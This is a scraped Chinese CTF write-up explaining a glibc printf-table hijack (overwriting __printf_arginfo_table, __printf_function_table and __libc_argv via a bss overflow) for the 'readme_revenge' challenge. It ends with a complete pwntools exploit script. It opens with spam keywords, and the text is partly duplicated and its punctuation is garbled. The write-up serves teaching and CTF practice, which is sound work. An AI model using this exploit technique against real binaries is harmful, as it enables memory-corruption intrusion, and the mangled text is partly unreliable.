网站开发域名,网络宣传渠道,便宜正品的购物app,备案查询化妆品参考学习#xff1a;
https://www.anquanke.com/post/id/202387#h2-0
前置知识
这种攻击方式主要是利用了printf的一个调用链#xff0c;应用场景是只能分配较大chunk时(超过fastbin)#xff0c;存在或可以构造出UAF漏洞。
在使用printf类格式化字符串函数进行输出的时候https://www.anquanke.com/post/id/202387#h2-0前置知识这种攻击方式主要是利用了printf的一个调用链应用场景是只能分配较大chunk时(超过fastbin)存在或可以构造出UAF漏洞。在使用printf类格式化字符串函数进行输出的时候该类函数会根据我们格式化字符串的种类不同而采取不同的输出格式进行输出__register_printf_function 是 glibc 内部用于将“自定义 printf 转换器”注册到 glibc 的机制之一。它把用户提供的两类回调printf function — 真正做格式化输出的函数printf arginfo — 在格式解析阶段告知库如何获取参数的函数保存到 glibc 的内部表里function_table 与 arginfo_table使得后续 vfprintf/printf 在遇到相应转换说明符specifier例如某个字符 ‘q’时可以调用这些回调来处理格式化。换句话说它把一个字符specifier和对应的处理逻辑绑定起来从而扩展 printf 家族函数的转换语义。全局表glibc 内部维护两张与转换字符索引对应的表__printf_function_table每个索引保存一个 printf_function处理函数的指针__printf_arginfo_table每个索引保存一个 printf_arginfoarginfo 回调指针 这两张表通常以字符值unsigned char 的数值作为索引。注册动作__register_printf_function 会把传入的 function 和 arginfo 指针写入到对应表的 spec 条目中。若表尚未初始化/分配注册函数会负责初始化或扩展表以包含该索引。参数校验实现上会校验 spec 是否在合法范围0…UCHAR_MAX 或表长度内并可能检查传入指针的合法性是否为 NULL、是否与已有注册冲突等。返回值公开接口通常在成功时返回 0失败时返回非零具体 errno/返回码会随实现变化。内部双下划线函数可能有相同/相似的返回契约。线程/时序注册是在全局表上写入若程序是多线程的并且在运行时动态注册必须注意并发安全。glibc 的实现可能采取锁或要求调用者在单线程阶段如程序初始化进行注册。文档通常建议在多线程创建之前完成注册以避免 race condition。生命周期注册一旦生效表项会长期存在直至进程退出后续 printf 的解析与输出都会使用最新的表项。覆盖旧的注册会替换处理逻辑但如何替换/返回错误取决于具体实现。典型用法示例说明目标为字符 ‘q’ 注册自定义输出使 printf(“x%q”, n) 能以自定义方式输出 n。需实现两部分arginfo告诉库该转换需要多少个参数、每个参数类型PA_INT、PA_CHARP 等以便 vfprintf 在调用前从 va_list 中提取好参数。function当参数已被提取并准备好后glibc 会把参数以 void* 指针数组形式传给该函数由它完成格式化输出到 FILE*。简化伪代码register_printf_function(‘q’, my_printf_function, my_arginfo);my_arginfo(…) 返回 1 并把 argtypes[0] PA_INTmy_printf_function(FILE *f, info, args) 从 args[0] 读取 int 值并 fprintf 到 fvfprintf 调用流程与注册表交互解析 format遇到转换符 c查 __printf_function_table[c] 和 __printf_arginfo_table[c]若 arginfo 不为 NULL调用 arginfo 获取参数类型/数量根据 arginfo 提示从 va_list或 positional 参数中取出参数构造 args 数组调用 printf_function如果存在或回退到默认行为因此 arginfo 在解析阶段有能力决定“参数从何处、以何种方式被提取”这就是为何覆盖 arginfo 表能把 vfprintf 导向不同的参数来源比如 __libc_argv并被滥用。__register_printf_function 的本质把一个 printf 转换字符specifier与两个回调arginfo 与处理函数关联起来写入 glibc 的内部表使 printf 在解析/输出该 specifier 时调用这些回调从而支持自定义格式化行为。int register_printf_function(int spec, printf_function func, printf_arginfo arginfo);内部上会写入 __printf_function_table[spec] 和 __printf_arginfo_table[spec]。__printf_function_table按转换字符索引的函数指针数组保存了每个自定义 printf 转换符的“处理函数”printf_function。/* 输出实际工作stream 是 FILE*info 是格式信息args 是已经解析并准备好的参数数组 */ int (*printf_function)(FILE *stream, const struct printf_info *info, const void *const *args);__printf_arginfo_table按转换字符索引的函数指针数组保存了每个自定义 printf 转换符的“arginfo”回调printf_arginfo。arginfo 在格式解析阶段告诉 vfprintf 该转换所需参数类型与数量以便把参数从 va_list 中提取并打包。/* 返回需要的参数数量0并在 argtypes 中写入每个参数的类型PA_* */ int (*printf_arginfo)(const struct printf_info *info, size_t n, int *argtypes);利用流程1原始状态表项为 NULL 或合法指针 [input_addr] -- 用户可写缓冲区 __printf_arginfo_table[s] - NULL __printf_function_table[s] - NULL __libc_argv - 实际 argv 或 NULL越界写 payload 覆盖 payload 写到 input_addr ... 覆盖 __libc_argv、__printf_function_table[s]、__printf_arginfo_table[s]调用 printf(...%s...): vfprintf 解析 %s: - a __printf_arginfo_table[s]( input_addr) - a(...) 指示从 __libc_argv 取参数或直接通过 input_addr 返回参数信息 - __libc_argv 指向 input_addrinput_addr[0]flag_addr - vfprintf 得到 flag_addr打印 flag题目先调用 scanf(format, name) 把输入写到可写地址 name然后调用 printf(“Hi, %s. Bye.\n”, name) 打印该缓冲区内容并退出。漏洞scanf 使用不带宽度限制的 “%s”或类似格式把任意长度的数据写到 name 所指的位置name 并不是栈上的小缓冲区而是一个可写的全局/数据段位置。因此可以通过一次输入直接覆盖同一映射内后续的全局/数据例如 __libc_argv、__printf_function_table、__printf_arginfo_table、flag 等从而构造“数据驱动”的利用不需要改写返回地址或触碰栈 canary。name在bss段这里看到flag已经在程序中所以大概的思路是控制EIP-调用__fortify_fail函数-打印当前程序的名称(__libc_argv的第一个元素)-使__libc_argv的第一个元素指向flag的地址打印出flag调试崩溃原因RAX: 0x6161616161616161(aaaaaaaa)RIP: 0x45ad64(__parse_one_specmb1300:cmpQWORD PTR[raxrdx*8],0x0)格式化字符串相关RDI: 0x48d18b(%s. Bye.\n)R8: 0x48d18b(%s. Bye.\n)这个错误是因为内存非法访问导致的__printf_modifier_table已经被我们溢出为了0x6161616161616161, 在下方的cmp处比较时, 因为该内存地址不可访问导致了错误, 我们可以通过更改__printf_modifier_table的值来绕过这个错误.loc_45A926: xor eax, eax;eax0and byte ptr[rbx0Dh], 0FDh;清除某标志位 and byte ptr[rbx0Ch], 0F8h;清除其他标志位 mov[rbx0Eh], ax;写入0 mov rax, cs:__printf_modifier_table;加载修饰符表testrax, rax;检查表是否为空 jnz loc_45AD60;不为空则跳转 loc_45AD60: movzx edx, byte ptr[r10];获取格式字符(r10指向格式字符串)cmpqword ptr[raxrdx*8],0;检查 table[char]是否为NULL jz loc_45A944;为NULL则跳转 lea rdi,[rsp38hvar_30];准备第一个参数 mov rsi, rbx;准备第二个参数 db 67h;可能是地址大小前缀 call __handle_registered_modifier_mb;调用处理函数testeax, eax;检查返回值 jz short loc_45AD9B;为0则跳转我们需要找到四个表的地址name0x6b73e0flag0x6B4040stack_chk_fail0x4359b0libc_argv0x6b7980printf_function_table0x6b7a28printf_arginfo_table0x6b7aa8printf 的内部处理流程printf()-vfprintf()-printf_positional()-__parse_one_specmb()关键函数调用关系// 简化流程printf(constchar*format,...){vfprintf(stdout,format,args);}vfprintf(FILE*stream,constchar*format,va_list ap){if(has_positional_parameters(format)){printf_positional(stream,format,ap);}else{// 普通处理}}printf_positional(){while(*format){if(*format%){__parse_one_specmb(spec,format,ap_pos);// 处理注册函数}}}__parse_one_specmb 的关键逻辑__parse_one_specmb(){// 1. 首先检查 modifier_tableif(__printf_modifier_table!NULL__printf_modifier_table[spec_char]!NULL){__handle_registered_modifier_mb(...);}// 2. 然后检查 arginfo_tableif(__printf_arginfo_table!NULL__printf_arginfo_table[spec_char]!NULL){// 调用arginfo函数获取参数信息arginfo_func__printf_arginfo_table[spec_char];arginfo_func(info,ap_pos);}// 3. 最后检查 function_tableif(__printf_function_table!NULL__printf_function_table[spec_char]!NULL){// 调用注册的处理函数func__printf_function_table[spec_char];func(stream,spec,ap_pos);return;}// 4. 如果没有注册函数使用默认处理switch(spec_char){cases:handle_string(...);break;cased:handle_int(...);break;// ...}}格式化字符串的参数位置// 例如printf(%s %d %f,str,num,flt);// 栈/寄存器布局// 1. format string address// 2. str address// 3. num value// 4. flt value对于 x86_64 Linux 的调用约定前6个参数RDI, RSI, RDX, RCX, R8, R9剩余参数栈上返回值RAX在 printf 内部当 __parse_one_specmb 调用注册函数时// 调用 arginfo 函数typedefint(*printf_arginfo_function)(conststructprintf_info*info,size_tn,int*argtypes);// 调用 format 函数typedefint(*printf_function)(FILE*stream,conststructprintf_info*info,constvoid*const*args);stack_chk_fail 的调用参数__fortify_fail 函数签名void__attribute__((noreturn))__fortify_fail(constchar*msg);// 实际调用__fortify_fail(stack smashing detected);它如何获取 argv[0]// 在 __libc_message 内部__libc_message(do_abort,*** %s ***: %s terminated\n,msg,__libc_argv[0]?:unknown);// ^^^^^^^^^^^^^^^// 关键打印 argv[0]目的1.程序执行 printfprintf(user_input);// user_input 包含 %s2.解析格式字符串 遇到%s0x73是字母s的 ASCII码值十六进制3.查找注册函数 __printf_arginfo_tablename_addr(被覆盖)4.错误调用 本应:arginfo_func(info,n,argtypes)实际:stack_chk_fail()5.stack_chk_fail 执行 读取 __libc_argvname_addr(被覆盖)读取 argv[0]flag_addr 打印:*** stack smashing detected ***: [flag内容] terminated因为这是一个 64位系统每个函数指针占用 8字节64位 8字节表的结构是void* table[256]256个指针的数组访问 table[‘s’] 实际上就是 table[0x73]数组下标 0x73 对应的内存偏移是 0x73 * sizeof(void*)]当我们要覆盖 __printf_arginfo_table[‘s’] 时__printf_arginfo_table 是一个指针数组数组起始地址name_addr因为我们设置了 __printf_arginfo_table name_addrtable[‘s’] 的位置name_addr (‘s’ * 8) name_addr 0x398所以我们需要在 name_addr 0x398 处写入 stack_chk_fail 地址。payloadp64(flag)#name start payloadpayload.ljust(0x73*8,b\x00)payloadp64(stack_chk_fail)# __printf_arginfo_table[spec-info.spec]payloadpayload.ljust(libc_argv-name,b\x00)payloadp64(name)# argv payloadpayload.ljust(printf_function_table-name,b\x00)payloadp64(name)# __printf_function_table payloadpayload.ljust(printf_arginfo_table-name,b\x00)payloadp64(name)# __printf_arginfo_table p.sendline(payload)打印出来了flag的值EXP:from pwn import*pprocess(./readme_revenge)name0x6b73e0flag0x6B4040stack_chk_fail0x4359b0libc_argv0x6b7980printf_function_table0x6b7a28printf_arginfo_table0x6b7aa8payloadp64(flag)#name start payloadpayload.ljust(0x73*8,b\x00)payloadp64(stack_chk_fail)# __printf_arginfo_table[spec-info.spec]payloadpayload.ljust(libc_argv-name,b\x00)payloadp64(name)# argv payloadpayload.ljust(printf_function_table-name,b\x00)payloadp64(name)# __printf_function_table payloadpayload.ljust(printf_arginfo_table-name,b\x00)payloadp64(name)# __printf_arginfo_table p.sendline(payload)p.interactive()